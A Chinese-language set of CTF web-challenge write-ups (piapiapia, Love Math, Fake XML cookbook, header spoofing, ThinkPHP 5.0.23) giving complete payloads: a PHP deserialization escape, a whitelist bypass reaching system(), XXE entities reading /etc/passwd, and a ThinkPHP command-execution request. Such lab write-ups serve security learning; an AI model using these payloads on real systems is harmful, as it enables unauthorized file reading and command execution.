[0CTF 2016]piapiapia
看到输入框的以为是sql注入,最后扫一下源码发现www.zip
下载后有几个文件
首先是update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
nickname传入一个数组,可以绕过长度的限制
在class.php找到filter函数
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
分析update.php:先经过正则表达式将用户提交的参数值过滤,然后序列化,然后将非法的值替换为’hacker’,题目类型属于替换之后导致序列化字符串变长,造成字符逃逸
然后我们再看profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
有反序列化和文件读取
config.php中有flag,构造包含config.php的数据,利用字符串逃逸,在profile.php中读取出来
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
将";}s:5:“photo”;s:10:“config.php”;}插入序列化的字符串里面去,这是34个字符,where替换成hacker后,长度增加一位,所以需要34个where,去profile.php查看读取的内容。
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
先注册,登录后随意上传资料,bp抓包
修改nickname为nickname[]
成功后去profile.php页面查看
base64解码
[CISCN 2019 初赛]Love Math
源码如下
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
相关函数
base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
readfile() 函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。
语法:readfile(filename,include_path,context)
知识点:php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数
我们要构造的payload是
?c=$_GET[a]($_GET[b])&a=system&b=tac /flag
变量替换后
?c=($_GET[pi])($_GET[abs])&pi=system&abs=tac /flag
_GET也需要替换
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
所以_GET=base_convert(37907361743,10,36)(dechex(1598506324));
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]
payload:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac /flag
[NCTF2019]Fake XML cookbook
题目提示XML,可知为XML实体注入漏洞,原理参考https://www.freebuf.com/vuls/175451.html
随意输入账号密码后抓包
这里的username和password都是xml格式,然后增加恶意实体,读取/etc/passwd文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>
有回显,读取flag
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123456</password></user>
[BJDCTF 2nd]假猪套天下第一
用admin登录看看
再试试其他用户名
可以正常登录
抓包看一下
在最后发现php文件
访问后抓包
显示要在99年后才开放访问,请求头里面有time,修改成一个很大的数字
提示需从本地访问,使用XFF或者Client-ip
提示需要来自于gem-love.com,添加Referer
现在需要使用Commodo 64浏览器,查一下全称是:Commodore 64
修改user-agent
需要我们的邮箱是:root@gem-love.com,添加From
最后代理服务器地址需要是y1ng.vip,添加via
base64解码即可
[BJDCTF 2nd]old-hack
首页提示hinkphp5的漏洞。
传入一个s=1报错查看一下信息
版本为5.0.23,此版本有漏洞
https://xz.aliyun.com/t/3845
构造payload,post提交
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls ../../../../
读取flag
_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag